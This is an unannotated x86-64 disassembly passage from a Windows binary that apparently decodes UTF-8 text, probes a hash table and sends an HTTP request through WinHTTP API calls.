shl ecx, 0xc
or r8d, ecx
mov edx, r8d
mov rdi, r12
sub rdi, rax
add rdi, r14
cmp edx, 0x3a3
je 0x140007ad1
cmp edx, 0x110000
je 0x140007d79
cmp edx, 0x80
jae 0x140007aeb
lea eax, [rdx - 0x41]
xor ecx, ecx
cmp al, 0x1a
setb cl
shl ecx, 5
or ecx, edx
mov edx, ecx
jmp 0x140007c4a
test r12, r12
je 0x140007b34
cmp r12, qword [rbp + 0x86a0]
jae 0x140007b2e
cmp byte [rbx + r12], 0xbf
jg 0x140007b34
jmp 0x14000c6ea
mov eax, 0x57f
xor ecx, ecx
mov r8d, 0x57f
shr rax, 1
add rax, rcx
lea r9, [0x140061ae0]
mov r9d, dword [r9 + rax*8]
cmp r9d, edx
je 0x140007c04
lea r10, [rax + 1]
cmp r9d, edx
cmova r8, rax
cmovb rcx, r10
mov rax, r8
sub rax, rcx
ja 0x140007af8
jmp 0x140007c4a
jne 0x14000c6ea
lea r13, [rbx + r12]
xor eax, eax
cmp r13, rbx
je 0x140007d21
mov cl, byte [r13 - 1]
test cl, cl
js 0x140007b53
dec r13
movzx esi, cl
jmp 0x140007bb4
movzx edx, byte [r13 - 2]
cmp dl, 0xc0
jge 0x140007b82
movzx r8d, byte [r13 - 3]
cmp r8b, 0xbf
jg 0x140007b8b
movzx r9d, byte [r13 - 4]
add r13, 0xfffffffffffffffc
and r9d, 7
shl r9d, 6
and r8d, 0x3f
or r8d, r9d
jmp 0x140007b93
add r13, 0xfffffffffffffffe
and edx, 0x1f
jmp 0x140007b9d
add r13, 0xfffffffffffffffd
and r8d, 0xf
shl r8d, 6
and edx, 0x3f
or edx, r8d
shl edx, 6
and cl, 0x3f
movzx esi, cl
or esi, edx
cmp esi, 0x110000
je 0x140007d21
test al, al
jne 0x140007bcc
mov ecx, esi
call fcn.140027ca0
test al, al
je 0x140007bcc
mov esi, 0x110000
xor eax, eax
jmp 0x140007bce
mov al, 1
cmp esi, 0x110000
je 0x140007b3a
mov ecx, esi
call fcn.140027de0
test al, al
je 0x140007d21
add r12, 2
je 0x140007c64
cmp r12, qword [rbp + 0x86a0]
jae 0x140007c5e
cmp byte [rbx + r12], 0xbf
jg 0x140007c64
jmp 0x14000d490
lea rcx, [0x140061ae0]
mov edx, dword [rcx + rax*8 + 4]
mov eax, edx
xor eax, 0xd800
add eax, 0xffef0000
cmp eax, 0xffef0800
push 0x69
pop rax
cmovb edx, eax
jae 0x140007c4a
lea rcx, [rbp - 0x40]
call fcn.14001ae30
lea rcx, [rbp - 0x40]
mov edx, 0x307
call fcn.14001ae30
mov rax, r14
mov r12, rdi
jmp 0x140007a10
lea rcx, [rbp - 0x40]
call fcn.14001ae30
mov rax, r14
mov r12, rdi
jmp 0x140007a10
jne 0x14000d490
add r12, rbx
xor eax, eax
cmp r12, r15
je 0x140007d62
mov r8b, byte [r12]
movzx esi, r8b
test sil, sil
js 0x140007c84
inc r12
jmp 0x140007cf0
mov ecx, esi
and ecx, 0x1f
movzx r9d, byte [r12 + 1]
and r9d, 0x3f
cmp sil, 0xdf
jbe 0x140007cd7
movzx edx, byte [r12 + 2]
shl r9d, 6
and edx, 0x3f
or edx, r9d
cmp r8b, 0xf0
jb 0x140007ce5
movzx esi, byte [r12 + 3]
and ecx, 7
shl ecx, 0x12
shl edx, 6
and esi, 0x3f
or esi, edx
or esi, ecx
cmp esi, 0x110000
je 0x140007d62
add r12, 4
jmp 0x140007cf0
add r12, 2
shl ecx, 6
or ecx, r9d
mov esi, ecx
jmp 0x140007cf0
add r12, 3
shl ecx, 0xc
or edx, ecx
mov esi, edx
test al, al
jne 0x140007d08
mov ecx, esi
call fcn.140027ca0
test al, al
je 0x140007d08
mov esi, 0x110000
xor eax, eax
jmp 0x140007d0a
mov al, 1
cmp esi, 0x110000
je 0x140007c69
mov ecx, esi
call fcn.140027de0
test al, al
je 0x140007d62
mov rax, qword [rbp - 0x40]
mov rdx, qword [rbp - 0x30]
sub rax, rdx
mov si, 0x83cf
cmp rax, 2
jae 0x140007d47
lea rcx, [rbp - 0x40]
push 2
pop r8
call fcn.140056b00
mov rdx, qword [rbp - 0x30]
mov rax, qword [rbp - 0x38]
mov word [rax + rdx], si
add rdx, 2
mov qword [rbp - 0x30], rdx
mov rax, r14
mov r12, rdi
jmp 0x140007a10
mov rax, qword [rbp - 0x40]
mov rdx, qword [rbp - 0x30]
sub rax, rdx
mov si, 0x82cf
cmp rax, 1
jbe 0x140007d36
jmp 0x140007d47
mov rdx, qword [rbp - 0x30]
mov qword [rbp + 0x8500], rdx
movups xmm0, xmmword [rbp - 0x40]
movaps xmmword [rbp + 0x84f0], xmm0
mov rsi, qword [rbp + 0x84f8]
mov rcx, rsi
lea r8, [0x14005ac0d]
push 4
pop r9
call fcn.140003c44
test al, al
jne 0x14000d4fd
mov rcx, qword [rbp + 0x84f0]
mov rdx, rsi
call fcn.140037dd5
mov r12, qword [rbp + 0x8648]
mov rcx, qword [r12 + 0x48]
mov rdx, qword [r12 + 0x50]
call fcn.1400195b2
mov rax, qword [rbp + 0x8490]
mov rcx, qword [rbp + 0x8690]
mov qword [rcx + 0x10], rax
movdqu xmm0, xmmword [rbp + 0x8480]
movdqu xmmword [rcx], xmm0
movabs rbx, 0x8080808080808080
mov rdi, qword [rbp + 0x8680]
lea r15, [rbp + 0x6070]
mov rcx, qword [rbp + 0x83e0]
mov rdx, qword [rbp + 0x83e8]
call fcn.140037dd5
mov rcx, r15
call fcn.14000339e
mov rax, qword [rbp + 0x8660]
jmp 0x14000752c
mov rdi, r8
lea rcx, [rbp + 0x85a0]
mov qword [rcx + 8], rdi
call fcn.1400034f8
mov rdx, qword [rbp + 0x8668]
mov qword [rdx + 0x2150], r12
lea rax, [rdx + 0x2159]
mov qword [rbp + 0x8680], rax
mov byte [rdx + 0x2159], 0
lea rax, [rdx + 0xd0]
mov qword [rbp + 0x86a0], rax
mov byte [rdx + 0x2158], 0
mov qword [rdx + 0x2130], r12
mov dword [rsp + 0x20], 0x10000000
xor ecx, ecx
mov r12, rdx
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.winhttp.dll_WinHttpOpen]
mov rdi, rax
lea r8, [0x14005bc08]
push 4
pop r9
mov rcx, rax
mov edx, 0xa4
call qword [sym.imp.winhttp.dll_WinHttpSetOption]
call fcn.140018999
mov eax, dword [0x140075324]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov r14, qword [rax + 0x68]
mov r15, qword [rax + 0x70]
lea rcx, [r14 + 1]
mov qword [rax + 0x68], rcx
lea rbx, [rbp - 0x40]
push 0x10
pop rdx
mov rcx, rbx
call fcn.140018e29
movups xmm0, xmmword [rbx]
movups xmm1, xmmword [rbx + 0x10]
lea rsi, [rbp + 0x6070]
movaps xmmword [rsi], xmm0
movups xmmword [rbx + 0x16], xmm1
movups xmmword [rbx + 6], xmm0
movups xmm0, xmmword [rbx]
movaps xmmword [rsi], xmm0
movups xmm0, xmmword [rbx + 0x10]
movaps xmmword [rsi + 0x10], xmm0
mov rax, qword [rbx + 0x1e]
mov qword [rsi + 0x1e], rax
mov qword [r12 + 0xd0], rdi
and word [r12 + 0xd8], 0
movdqa xmm0, xmmword [rsi]
movdqa xmm1, xmmword [rsi + 0x10]
movdqu xmmword [r12 + 0xda], xmm0
movdqu xmmword [r12 + 0xea], xmm1
mov rax, qword [rsi + 0x1e]
mov qword [r12 + 0xf8], rax
mov qword [r12 + 0x100], r14
mov qword [r12 + 0x108], r15
lea rcx, [r12 + 0x2138]
lea rdx, [0x14005acb3]
push 0x18
pop r8
call fcn.1400145de
mov rdx, qword [r12 + 0x2140]
mov r8, qword [r12 + 0x2148]
lea rdi, [rbp + 0x83e0]
mov rcx, rdi
call fcn.140018fb6
mov dword [rsi], 0x68
and qword [rsi + 8], 0
mov eax, 0xffffffff
mov qword [rsi + 0x10], rax
and qword [rsi + 0x18], 0
or dword [rsi + 0x20], 0xffffffff
and word [rsi + 0x24], 0
and qword [rsi + 0x28], 0
and dword [rsi + 0x30], 0
and qword [rsi + 0x38], 0
and dword [rsi + 0x40], 0
and qword [rsi + 0x48], 0
or dword [rsi + 0x50], 0xffffffff
and qword [rsi + 0x58], 0
or dword [rsi + 0x60], 0xffffffff
mov rdi, qword [rdi + 8]
mov rcx, rdi
xor edx, edx
xor r8d, r8d
mov r9, rsi
call qword [sym.imp.winhttp.dll_WinHttpCrackUrl]
test eax, eax
je 0x14000d68c
mov rdx, qword [rbp + 0x6088]
test rdx, rdx
je 0x14000d6e5
mov r8d, dword [rbp + 0x6090]
lea rsi, [rbp - 0x40]
mov rcx, rsi
call fcn.1400435c0
mov rdi, qword [rsi + 8]
mov r8, qword [rsi + 0x10]
lea r15, [rbp + 0x85a0]
mov rcx, r15
mov rdx, rdi
call fcn.140046bf0
mov rbx, qword [r15 + 8]
mov r8, qword [r15 + 0x10]
lea r14, [rbp + 0x8480]
mov rcx, r14
mov rdx, rbx
call fcn.140019587
mov rcx, qword [r15]
mov rdx, rbx
call fcn.1400195b2
mov rcx, qword [rsi]
mov rdx, rdi
call fcn.140037dd5
mov r13, qword [r14 + 8]
mov r14, qword [r14 + 0x10]
mov rdx, qword [rbp + 0x8668]
lea rsi, [rdx + 0xd8]
mov cl, 1
xor eax, eax
lock cmpxchg byte [rdx + 0xd8], cl
jne 0x140008ca6
mov rax, qword [0x140075318]
shl rax, 1
test rax, rax
jne 0x140008cba
xor eax, eax
mov cl, byte [rdx + 0xd9]
test cl, cl
jne 0x14000d6f1
mov dword [rbp + 0x8648], eax
mov qword [rbp + 0x8660], rsi
cmp qword [rdx + 0xf8], 0
je 0x14000822b
mov rax, qword [rdx + 0x100]
mov rcx, qword [rdx + 0x108]
mov rsi, rdx
movabs rdx, 0x736f6d6570736575
xor rdx, rax
movabs r8, 0x646f72616e646f6d
xor r8, rcx
movabs r9, 0x6c7967656e657261
xor r9, rax
movabs r10, 0x7465646279746573
xor r10, rcx
lea rdi, [rbp - 0x40]
mov qword [rdi], rdx
mov qword [rdi + 8], r9
mov qword [rdi + 0x10], r8
mov qword [rdi + 0x18], r10
mov qword [rdi + 0x20], rax
mov qword [rdi + 0x28], rcx
pxor xmm0, xmm0
movdqu xmmword [rdi + 0x30], xmm0
and qword [rdi + 0x40], 0
mov rcx, rdi
mov rdx, r13
mov r8, r14
call fcn.140018a4f
mov rcx, rdi
call fcn.140018a79
mov r12, qword [rsi + 0xe0]
mov rbx, qword [rsi + 0xe8]
mov r15, rbx
and r15, rax
shr rax, 0x39
movd xmm0, eax
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm6, xmm0, 0
xor eax, eax
mov qword [rbp + 0x8698], rax
pcmpeqd xmm7, xmm7
movdqu xmm8, xmmword [r12 + r15]
movdqa xmm0, xmm8
pcmpeqb xmm0, xmm6
pmovmskb eax, xmm0
mov word [rbp - 0x40], ax
mov rcx, rdi
call fcn.14000626d
test rax, rax
je 0x1400081eb
add rdx, r15
and rdx, rbx
shl rdx, 5
mov rsi, r12
sub rsi, rdx
mov r8, qword [rsi - 0x18]
mov r9, qword [rsi - 0x10]
mov rcx, r13
mov rdx, r14
call fcn.140050c29
test al, al
je 0x1400081b5
jmp 0x140008217
pcmpeqb xmm8, xmm7
pmovmskb eax, xmm8
test eax, eax
jne 0x14000822b
mov rax, qword [rbp + 0x8698]
add r15, rax
add r15, 0x10
add rax, 0x10
mov qword [rbp + 0x8698], rax
and r15, rbx
jmp 0x14000819e
mov r12, qword [rsi - 8]
lock inc qword [r12]
jg 0x140008453
jmp case.0x14000675c.2
and qword [rbp + 0x8550], 0
lea rsi, [rbp + 0x84f0]
mov rcx, rsi
mov rdx, r13
mov r8, r14
call fcn.140018fb6
mov rax, qword [rbp + 0x86a0]
mov rcx, qword [rax]
mov rdi, qword [rsi + 8]
mov rdx, rdi
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.winhttp.dll_WinHttpConnect]
test rax, rax
je 0x14000d8cd
mov rcx, rax
call fcn.14001960e
mov rbx, rax
lea rsi, [rbp - 0x40]
mov rcx, rsi
mov rdx, r13
mov r8, r14
call fcn.14001865e
mov rax, qword [rsi + 0x10]
mov qword [rbp + 0x85b0], rax
movdqu xmm0, xmmword [rsi]
movdqa xmmword [rbp + 0x85a0], xmm0
lock inc qword [rbx]
jle case.0x14000675c.2
mov qword [rbp + 0x8590], rbx
mov qword [rbp + 0x8640], rdi
mov rsi, qword [rbp + 0x8668]
lea r13, [rsi + 0xe0]
mov rcx, qword [rsi + 0x100]
mov rdx, qword [rsi + 0x108]
mov r8, qword [rbp + 0x85a8]
mov r9, qword [rbp + 0x85b0]
call fcn.1400189cf
mov rcx, rsi
mov rsi, rax
lea rax, [rbp + 0x85a0]
mov qword [rbp - 0x40], rax
cmp qword [rcx + 0xf0], 0
je 0x14000926a
mov r8, qword [rcx + 0xe0]
mov rbx, qword [rcx + 0xe8]
mov r12, rbx
and r12, rsi
shr rsi, 0x39
mov qword [rbp + 0x84e8], rsi
movd xmm0, esi
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm6, xmm0, 0
xor r14d, r14d
lea rsi, [rbp + 0x82f0]
pcmpeqd xmm7, xmm7
lea rdi, [rbp - 0x40]
xor eax, eax
mov qword [rbp + 0x8690], rax
mov qword [rbp + 0x8698], r8
movdqu xmm8, xmmword [r8 + r12]
movdqa xmm0, xmm6
pcmpeqb xmm0, xmm8
pmovmskb eax, xmm0
mov word [rbp + 0x82f0], ax
mov rcx, rsi
call fcn.14000626d
test rax, rax
je 0x14000839f
mov r15, rdx
add r15, r12
and r15, rbx
mov rcx, rdi
mov rdx, r13
mov r8, r15
call fcn.140018f6c
test al, al
je 0x140008375
jmp 0x140008401
cmp qword [rbp + 0x8690], 1
push 1
pop rax
je 0x1400083ce
movdqa xmmword [rbp + 0x8090], xmm8
mov rcx, rbx
lea rdx, [rbp + 0x8090]
mov r8, r12
call fcn.140006344
mov qword [rbp + 0x8598], rdx
pcmpeqb xmm8, xmm7
pmovmskb ecx, xmm8
test ecx, ecx
mov r8, qword [rbp + 0x8698]
jne 0x1400093b6
mov qword [rbp + 0x8690], rax
add r12, r14
add r12, 0x10
add r14, 0x10
and r12, rbx
jmp 0x14000835b
shl r15, 5
mov rax, qword [rbp + 0x8698]
sub rax, r15
mov rsi, qword [rax - 8]
mov r12, qword [rbp + 0x8590]
mov qword [rax - 8], r12
mov rcx, qword [rbp + 0x85a0]
mov rdx, qword [rbp + 0x85a8]
call fcn.140037dd5
mov rdi, qword [rbp + 0x8640]
lea rcx, [rbp - 0x40]
mov qword [rcx], rsi
call fcn.14001963b
mov rcx, qword [rbp + 0x84f0]
mov rdx, rdi
call fcn.140018e0d
mov rcx, qword [rbp + 0x8660]
mov edx, dword [rbp + 0x8648]
call fcn.1400195c6
mov qword [rbp + 0x8390], r12
mov rdx, qword [rbp + 0x60b8]
test rdx, rdx
je 0x14000d71b
mov r8d, dword [rbp + 0x60c0]
lea rsi, [rbp - 0x40]
mov rcx, rsi
call fcn.1400435c0
mov rdi, qword [rsi + 8]
mov r8, qword [rsi + 0x10]
lea rbx, [rbp + 0x85a0]
mov rcx, rbx
mov rdx, rdi
call fcn.140046bf0
mov r14, qword [rbx + 8]
mov r8, qword [rbx + 0x10]
lea r15, [rbp + 0x84f0]
mov rcx, r15
mov rdx, r14
call fcn.140019587
mov rcx, qword [rbx]
mov rdx, r14
call fcn.1400195b2
mov rcx, qword [rsi]
mov rdx, rdi
call fcn.140037dd5
mov rdi, qword [r15 + 8]
mov r8, qword [r15 + 0x10]
lea rsi, [rbp + 0x85a0]
mov rcx, rsi
mov rdx, rdi
call fcn.140018fb6
mov r15, r12
mov rcx, qword [r12 + 0x10]
mov rbx, qword [rsi + 8]
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x20], xmm0
mov dword [rsp + 0x30], 0x800000
lea rdx, [0x14005b1c0]
mov r8, rbx
xor r9d, r9d
call qword [sym.imp.winhttp.dll_WinHttpOpenRequest]
test rax, rax
je 0x14000d5a7
mov r12, rax
lea rdx, [0x140019646]
push 0xffffffffffffffff
pop r8
mov rcx, rax
xor r9d, r9d
call qword [sym.imp.winhttp.dll_WinHttpSetStatusCallback]
cmp rax, 0xffffffffffffffff
je 0x14000d5a7
push 1
pop rdx
xor ecx, ecx
call fcn.1400184ca
mov rsi, rax
push 0x40
pop rcx
push 8
pop rdx
call fcn.1400184ca
mov r14, rax
and qword [rax], 0
mov qword [rax + 8], 1
pxor xmm0, xmm0
movdqu xmmword [rax + 0x10], xmm0
movdqu xmmword [rax + 0x28], xmm0
mov byte [rax + 0x38], 0
mov rcx, r12
call fcn.14001960e
mov r12, rax
lea r13, [rbp - 0x40]
mov r8d, 0x2008
mov rcx, r13
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov rcx, qword [rbp + 0x85a0]
mov rdx, rbx
call fcn.140018e0d
mov rcx, qword [rbp + 0x84f0]
mov rdx, rdi
call fcn.140037dd5
mov rcx, qword [rbp + 0x8480]
mov rdx, qword [rbp + 0x8488]
call fcn.140037dd5
mov rcx, qword [rbp + 0x83e0]
mov rdx, qword [rbp + 0x83e8]
call fcn.140018e0d
lea rdi, [rbp + 0x4050]
mov r8d, 0x2008
mov rcx, rdi
mov rdx, r13
call sub.VCRUNTIME140.dll_memcpy
mov rcx, qword [rbp + 0x8668]
mov qword [rcx + 0x2160], r15
mov qword [rcx + 0x2168], r12
mov qword [rcx + 0x2170], rsi
lea rax, [0x14005bbe0]
mov qword [rcx + 0x2178], rax
mov qword [rcx + 0x2180], r14
add rcx, 0x2188
mov r8d, 0x2008
mov rdx, rdi
call sub.VCRUNTIME140.dll_memcpy
movzx eax, byte [r14 + 0x38]
mov byte [r14 + 0x38], 1
cmp rax, 5
ja case.default.0x14000867b
mov rdx, qword [rbp + 0x8668]
lea rdi, [rdx + 0x2160]
lea rcx, [0x14006e494]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
cmp qword [r14 + 0x18], 0
jne 0x1400086bc
mov rax, qword [rbp + 0x8688]
mov rax, qword [rax]
mov rdx, qword [rax]
mov rcx, qword [rax + 8]
call qword [rdx]
mov rsi, rax
mov rbx, rdx
mov rax, qword [r14 + 0x18]
test rax, rax
je 0x1400086ad
mov rcx, qword [r14 + 0x20]
call qword [rax + 0x18]
mov qword [r14 + 0x18], rsi
mov qword [r14 + 0x20], rbx
mov rdx, qword [rbp + 0x8668]
mov rax, qword [rdx + 0x2168]
mov rcx, qword [rax + 0x10]
mov eax, dword [rdx + 0x2188]
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], eax
and dword [rsp + 0x20], 0
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.winhttp.dll_WinHttpSendRequest]
jmp 0x1400086fe
mov rax, qword [rdx + 0x2168]
mov rcx, qword [rax + 0x10]
xor edx, edx
call qword [sym.imp.winhttp.dll_WinHttpReceiveResponse]
mov rdx, qword [rbp + 0x8668]
test eax, eax
je 0x140008832
mov al, 3
jmp 0x1400089a4
mov rax, qword [r14 + 0x28]
and qword [r14 + 0x28], 0
test rax, rax
movabs rbx, 0x2700000003
cmovne rbx, rax
jmp 0x140008771
lea rsi, [rdx + 0x2190]
mov rcx, qword [rdx + 0x2170]
mov rax, qword [rdx + 0x2178]
mov r9d, 0x2000
mov rdx, qword [rbp + 0x8688]
mov r8, rsi
call qword [rax + 0x18]
mov rbx, rdx
test rax, rax
je 0x140008c74
cmp rax, 1
mov rdx, qword [rbp + 0x8668]
jne case.0x14000867b.1
xor r15d, r15d
jmp 0x1400088bf
push 0x40
pop rcx
mov r15, rdx
push 8
pop rdx
call fcn.1400184ca
mov rbx, rax
and qword [rax], 0
mov qword [rax + 8], 1
pxor xmm0, xmm0
movdqu xmmword [rax + 0x10], xmm0
movdqu xmmword [rax + 0x28], xmm0
mov byte [rax + 0x38], 0
lea rsi, [rbp + 0x85a0]
mov qword [rsi], rax
mov rdx, qword [r14 + 8]
mov r8, qword [r14 + 0x10]
lea r14, [rbp - 0x40]
mov rcx, r14
call fcn.14001b0c0
mov rcx, qword [rbx]
mov rdx, qword [rbx + 8]
call fcn.140037dd5
mov rax, qword [r14 + 0x10]
mov qword [rbx + 0x10], rax
movdqu xmm0, xmmword [r14]
movdqu xmmword [rbx], xmm0
mov r14, qword [r15 + 0x2168]
mov rcx, qword [r14 + 0x10]
push 0x2d
pop rdx
push 8
pop r9
mov r8, rsi
call qword [sym.imp.winhttp.dll_WinHttpSetOption]
test eax, eax
je 0x140008880
mov r15, qword [rdi]
lock inc qword [r15]
jle case.0x14000675c.2
lock inc qword [r14]
jle case.0x14000675c.2
lea rcx, [rbp + 0x6070]
mov r8d, 0x2008
xor edx, edx
call sub.VCRUNTIME140.dll_memset
jmp 0x1400088b8
lea rsi, [rbp - 0x40]
mov rcx, rsi
call fcn.1400191d3
mov r15, qword [rsi]
mov rbx, qword [rsi + 8]
mov r14, qword [rsi + 0x10]
lea rdx, [rbp - 0x28]
lea rcx, [rbp + 0x6070]
mov r8d, 0x2008
call sub.VCRUNTIME140.dll_memcpy
jmp 0x1400088b8
mov r14, qword [rdx + 0x2180]
jmp 0x14000864b
lea rsi, [rbp - 0x40]
mov rcx, rsi
call fcn.1400191d3
mov r15, qword [rsi]
mov r12, qword [rsi + 8]
mov r14, qword [rsi + 0x10]
lea rdx, [rbp - 0x28]
lea rcx, [rbp + 0x6070]
mov r8d, 0x2008
call sub.VCRUNTIME140.dll_memcpy
mov rcx, rbx
call fcn.140019194
mov rbx, r12
mov rdx, qword [rbp + 0x8668]
mov byte [rdx + 0x2158], 1
mov qword [rdx + 0x110], r15
mov qword [rdx + 0x118], rbx
mov qword [rdx + 0x120], r14
lea rcx, [rdx + 0x128]
lea rdx, [rbp + 0x6070]
mov r8d, 0x2008
call sub.VCRUNTIME140.dll_memcpy
mov rcx, rdi
call fcn.1400036f9
mov rbx, qword [rbp + 0x8668]
cmp qword [rbx + 0x110], 0
je 0x140008aac
lea rdx, [rbx + 0x110]
xor edi, edi
mov byte [rbx + 0x2158], dil
lea rcx, [rbp + 0x1fe0]
mov r8d, 0x2020
call sub.VCRUNTIME140.dll_memcpy
push 8
pop rdx
mov ecx, 0x4090
call fcn.1400184ca
mov rsi, rax
lea rdx, [rbp - 0x40]
mov r8d, 0x4089
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsi + 0x4089], dil
mov qword [rbx + 0x2160], rsi
lea rax, [0x14005bc70]
mov qword [rbx + 0x2168], rax
lea rdi, [rbp - 0x40]
mov rcx, rdi
mov rdx, rsi
mov r8, qword [rbp + 0x8688]
call qword [rax + 0x18]
mov rsi, qword [rdi]
movabs rax, 0x8000000000000001
cmp rsi, rax
jne 0x140008a23
mov al, 4
mov rdx, qword [rbp + 0x8668]
mov rcx, qword [rbp + 0x8680]
mov byte [rcx], al
mov rax, qword [rbp + 0x8678]
mov byte [rax], 3
mov cl, 3
mov al, 1
mov byte [rdx + 0x4198], cl
movaps xmm6, xmmword [rbp + 0x86b0]
movaps xmm7, xmmword [rbp + 0x86c0]
movaps xmm8, xmmword [rbp + 0x86d0]
movaps xmm9, xmmword [rbp + 0x86e0]
movaps xmm10, xmmword [rbp + 0x86f0]
movaps xmm11, xmmword [rbp + 0x8700]
movaps xmm12, xmmword [rbp + 0x8710]
movaps xmm13, xmmword [rbp + 0x8720]
movaps xmm14, xmmword [rbp + 0x8730]
movaps xmm15, xmmword [rbp + 0x8740]
add rsp, 0x87d8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov rdi, qword [rbp - 0x38]
mov rbx, qword [rbp - 0x30]
mov r15, qword [rbp + 0x8668]
mov rcx, qword [r15 + 0x2160]
mov rdx, qword [r15 + 0x2168]
call fcn.14000352f
movabs rax, 0x8000000000000000
cmp rsi, rax
je 0x14000d990
lea r14, [rbp - 0x40]
push 0xa
pop r9
mov rcx, r14
mov rdx, rdi
mov r8, rbx
call fcn.140004e37
mov rcx, rsi
mov rdx, rdi
call fcn.140037dd5
mov rax, qword [r15 + 0x2130]
mov rcx, qword [rax + 0x90]
mov rdx, qword [rax + 0x98]
call fcn.1400195b2
mov rax, qword [r15 + 0x2130]
mov rcx, qword [r14 + 0x10]
mov qword [rax + 0xa0], rcx
movdqu xmm0, xmmword [r14]
jmp 0x140008af6
mov r15, rbx
lea rdx, str.unknown_IP
lea rsi, [rbp - 0x40]
push 0xa
pop r8
mov rcx, rsi
call fcn.14000334d
mov rax, qword [rbx + 0x2130]
mov rcx, qword [rax + 0x90]
mov rdx, qword [rax + 0x98]
call fcn.1400195b2
mov rax, qword [rbx + 0x2130]
mov rcx, qword [rsi + 0x10]
mov qword [rax + 0xa0], rcx
movdqu xmm0, xmmword [rsi]
movdqu xmmword [rax + 0x90], xmm0
mov rdi, qword [rbp + 0x86a0]
mov rcx, rdi
call fcn.1400035a1
lea rcx, [r15 + 0x110]
cmp qword [r15 + 0x110], 0
mov rsi, qword [rbp + 0x8650]
je 0x140008b36
cmp byte [r15 + 0x2158], 0
je 0x140008b42
call fcn.140003743
jmp 0x140008b3b
call fcn.140003bb6
mov r15, qword [rbp + 0x8668]
mov rcx, qword [r15 + 0x2138]
mov rdx, qword [r15 + 0x2140]
call fcn.140037dd5
mov word [r15 + 0x2158], 0x100
mov rcx, rdi
call fcn.140003bca
mov byte [r15 + 0x4190], 1
mov rcx, rsi
call fcn.14000338b
lea rdx, [0x14005a818]
lea rdi, [rbp + 0x84f0]
push 0xe
pop r8
mov rcx, rdi
mov qword [rbp + 0x8178], r8
call fcn.1400145de
mov rsi, qword [rdi + 8]
mov rdi, qword [rdi + 0x10]
lea rcx, [rbp + 0x6070]
mov qword [rcx], rsi
mov qword [rcx + 8], rdi
call fcn.140021be0
mov r14, rax
test r14b, 1
je 0x140008c6a
mov r8, qword [rbp + 0x6070]
mov r9, qword [rbp + 0x6078]
test r9, r9
je 0x140008c51
xor ebx, ebx
cmp byte [r8], 0x3a
jne 0x140008c51
lea r13, [r8 + 1]
lea r11, [r9 - 1]
mov r12w, 0xa
mov r15, r11
mov qword [rbp + 0x86a0], r13
xor ecx, ecx
test r15, r15
je 0x140008c18
lea rdx, [r13 + 1]
movzx r10d, byte [r13]
add r10d, 0xffffffd0
xor eax, eax
cmp r10d, 0xa
setb al
cmovb r13, rdx
sub r15, rax
jmp 0x140008c1a
xor eax, eax
cmp eax, 1
jne 0x140008ce6
mov eax, ecx
mul r12w
jo 0x140008ccd
add ax, r10w
setb dl
cmp r10d, 0xffff
ja 0x140008ccd
test dl, dl
jne 0x140008ccd
inc ebx
mov ecx, eax
jmp 0x140008bf4
xor eax, eax
mov qword [rbp + 0x6070], r8
mov qword [rbp + 0x6078], r9
test ax, ax
jne 0x140008d07
xor r14d, r14d
xor eax, eax
jmp 0x140008d29
test rbx, rbx
je 0x14000928c
mov r14, qword [rbp + 0x8668]
mov rax, qword [r14 + 0x2168]
mov rcx, qword [rax + 0x10]
mov rdx, rsi
mov r8d, ebx
xor r9d, r9d
call qword [sym.imp.winhttp.dll_WinHttpWriteData]
mov rdx, r14
jmp 0x140008705
mov rcx, rsi
call fcn.140057e40
mov rdx, qword [rbp + 0x8668]
jmp 0x1400080a5
call fcn.140057f00
mov rdx, qword [rbp + 0x8668]
xor al, 1
jmp 0x1400080ba
xor eax, eax
mov rdx, qword [rbp + 0x86a0]
mov qword [rbp + 0x6070], rdx
mov qword [rbp + 0x6078], r11
jmp 0x140008cfd
mov qword [rbp + 0x6070], r13
mov qword [rbp + 0x6078], r15
xor eax, eax
test ebx, ebx
setne al
je 0x140008ccf
cmp ax, 1
jne 0x140008c53
push 1
pop rax
movabs rdx, 0xffffffff00
and r14, rdx
shr r14, 8
movzx ecx, cx
shl rcx, 0x30
shl r14, 0x10
or r14, rcx
push 0xa
pop rcx
mov qword [rbp + 0x8670], rcx
movzx ecx, r14w
or rcx, rax
push 7
pop rax
mov qword [rbp + 0x8478], rax
cmp rcx, 1
jne 0x140008d53
mov rax, qword [rbp + 0x6078]
jmp 0x140008d6d
mov qword [rbp + 0x6070], rsi
mov qword [rbp + 0x6078], rdi
mov rax, rdi
test rcx, rcx
je 0x14000903c
test rax, rax
je 0x140008dcd
mov qword [rbp - 0x40], rsi
mov qword [rbp - 0x38], rdi
and qword [rbp - 0x30], 0
mov byte [rbp - 0x18], 1
movabs rax, 0x3a0000003a
mov qword [rbp - 0x20], rax
mov r14b, 0x3a
mov rbx, rdi
mov cl, 0x3a
mov rdx, rsi
mov r8, rbx
call fcn.1400240c0
cmp rax, 1
jne 0x140008dc1
mov rbx, rdx
cmp rdx, rdi
jae 0x140008dbc
cmp byte [rsi + rbx], r14b
je 0x1400091aa
cmp rbx, rdi
jbe 0x140008d97
lea r14, str.invalid_socket_address
jmp 0x140009587
mov esi, r14d
shr esi, 0x10
shr r14, 0x18
xor edi, edi
mov al, byte [0x140075320]
push 0x20
pop rdx
xor ecx, ecx
call fcn.140047120
test rax, rax
je 0x140011c65
mov word [rax], di
mov rdx, r14
shl rdx, 8
movzx ecx, sil
or rcx, rdx
shr r14, 0x18
mov word [rax + 6], r14w
mov dword [rax + 2], ecx
movq qword [rax + 8], xmm6
pshufd xmm0, xmm6, 0xee
movd dword [rax + 0x10], xmm0
and dword [rax + 0x14], 0
mov dword [rax + 0x18], ebx
mov word [rax + 0x1c], r15w
mov rcx, rax
add rcx, 0x20
mov qword [rbp + 0x86a0], rcx
push 1
pop rcx
mov qword [rbp + 0x8660], rcx
mov rsi, rax
lea rax, [rbp + 0x85a0]
and qword [rax], 0
xor r14d, r14d
